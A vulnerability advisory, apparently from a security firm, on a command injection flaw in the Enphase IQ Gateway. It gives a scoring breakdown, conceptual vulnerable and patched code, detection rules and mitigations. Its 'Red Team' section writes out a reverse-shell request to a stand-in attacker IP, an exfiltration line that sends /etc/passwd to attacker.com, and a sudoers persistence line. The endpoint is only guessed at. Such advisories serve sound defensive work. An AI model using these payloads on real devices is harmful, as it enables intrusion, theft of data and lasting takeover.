CVE-2024-21880

Executive Summary

CVE-2024-21880 is a critical OS Command Injection vulnerability in the Enphase IQ Gateway (formerly Envoy), affecting versions 4.x through 7.x. The flaw resides in the url parameter of an authenticated endpoint, allowing an attacker with valid credentials to inject arbitrary operating system commands. This can lead to full device compromise, data exfiltration, and potential use as a pivot point within the energy management network. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for asset owners.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in the Enphase IQ Gateway hardware.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete or missing vector data. Based on the nature of the vulnerability (authenticated command injection), a realistic CVSS v3.1 score would be 8.8 (High) with the following vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – requires valid credentials.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – impact confined to the device.
• Confidentiality (C): High (H) – full file system access.
• Integrity (I): High (H) – ability to modify system files.
• Availability (A): High (H) – potential for denial of service.

Threat Level: Critical. The lack of a patch and the device's role in critical infrastructure (solar energy management) elevates the risk.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection in an authenticated endpoint of the Enphase IQ Gateway web interface. The url parameter is not properly sanitized before being passed to a system command (likely curl, wget, or a similar utility). An attacker with valid credentials can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Root Cause: The application fails to neutralize special elements in the url parameter. Instead of using a safe API or properly escaping input, it concatenates user input directly into a command string.

Attack Flow:

1. Attacker obtains valid credentials (e.g., via phishing, default passwords, or prior compromise).
2. Attacker sends a crafted HTTP request to the vulnerable endpoint, e.g., POST /api/v1/proxy?url=http://attacker.com/;id.
3. The server executes: curl http://attacker.com/;id.
4. The id command runs, and output is returned to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess
def proxy_request(url):
    # Vulnerable: direct concatenation
    cmd = "curl " + url
    result = subprocess.check_output(cmd, shell=True)
    return result

Patched Code (Conceptual):

import subprocess
import shlex
def proxy_request(url):
    # Patched: use shlex.quote to escape input
    safe_url = shlex.quote(url)
    cmd = "curl " + safe_url
    result = subprocess.check_output(cmd, shell=True)
    return result

Key Difference: The patched version uses shlex.quote() to escape shell metacharacters, preventing injection. Alternatively, using subprocess.run() with a list of arguments (no shell=True) would also be secure.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Valid credentials for the Enphase IQ Gateway (e.g., admin/admin).
• Network access to the device (typically on port 80/443).

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /api/v1/proxy or similar).
2. Craft a payload to execute a reverse shell:

   POST /api/v1/proxy?url=http://127.0.0.1/;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   

3. Start a listener on the attacker machine: nc -lvnp 4444.
4. Send the request (e.g., using curl):

   curl -X POST -u admin:admin "http://TARGET_IP/api/v1/proxy?url=http://127.0.0.1/;bash%20-c%20'bash%20-i%20>&%20/dev/tcp/ATTACKER_IP/4444%200>&1'"
   

5. Receive the reverse shell.

Alternative Payloads:

• Data exfiltration: ;curl http://attacker.com/$(cat /etc/passwd)
• Persistence: ;echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

Blue Team (Defensive)

Detection:

• Monitor for unusual HTTP requests to the vulnerable endpoint with shell metacharacters.
• Look for outbound connections from the IQ Gateway to unknown IPs on unusual ports.
• Check for processes spawned by the web server (e.g., curl, bash, nc).

Hunting:

• Search logs for url parameter containing ;, |, &&, or backticks.
• Correlate with authentication logs for the admin account.

Hardening:

• Restrict network access to the IQ Gateway to trusted IPs only.
• Change default credentials immediately.
• Monitor vendor advisories for a patch.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /api/v1/proxy (or similar) with shell metacharacters in the url parameter.
• Outbound connections from the IQ Gateway to attacker-controlled IPs on ports 4444, 8080, etc.
• DNS queries to suspicious domains from the device.

File IOCs:

• Unexpected files in /tmp/ (e.g., exploit.sh).
• Modified system binaries (e.g., /bin/bash replaced).
• New cron jobs or systemd services.

Process IOCs:

• curl, wget, bash, nc, python spawned by the web server process.
• Unusual child processes of the web server (e.g., sh -c).

Detection Engineering

YARA Rule

rule CVE_2024_21880_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Enphase IQ Gateway url parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-21880"
    strings:
        $injection1 = /[;&|`$(){}]/
        $injection2 = /bash|sh|nc|python|perl|curl|wget/
        $url_param = "url="
    condition:
        $url_param and (#injection1 > 2 or #injection2 > 0)
}

Sigma Rule

title: CVE-2024-21880 Enphase IQ Gateway Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts via the url parameter in Enphase IQ Gateway
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'url='
        cs-uri-query|re: '.*[;&|`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-21880 Enphase IQ Gateway Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"url="; http_uri; pcre:"/[;&|`$(){}]/R"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the IQ Gateway from the internet and untrusted networks.
2. Change all credentials to strong, unique passwords.
3. Monitor for suspicious activity using the provided detection rules.
4. Apply any vendor patch as soon as it becomes available.

Long-Term Fix:

• The vendor must implement input validation and parameterized commands (e.g., using subprocess.run() with a list of arguments instead of shell=True).
• Regular firmware updates and security audits are recommended.

Workarounds:

• Use a web application firewall (WAF) to block requests containing shell metacharacters in the url parameter.
• Restrict access to the vulnerable endpoint via network ACLs.

Valters IT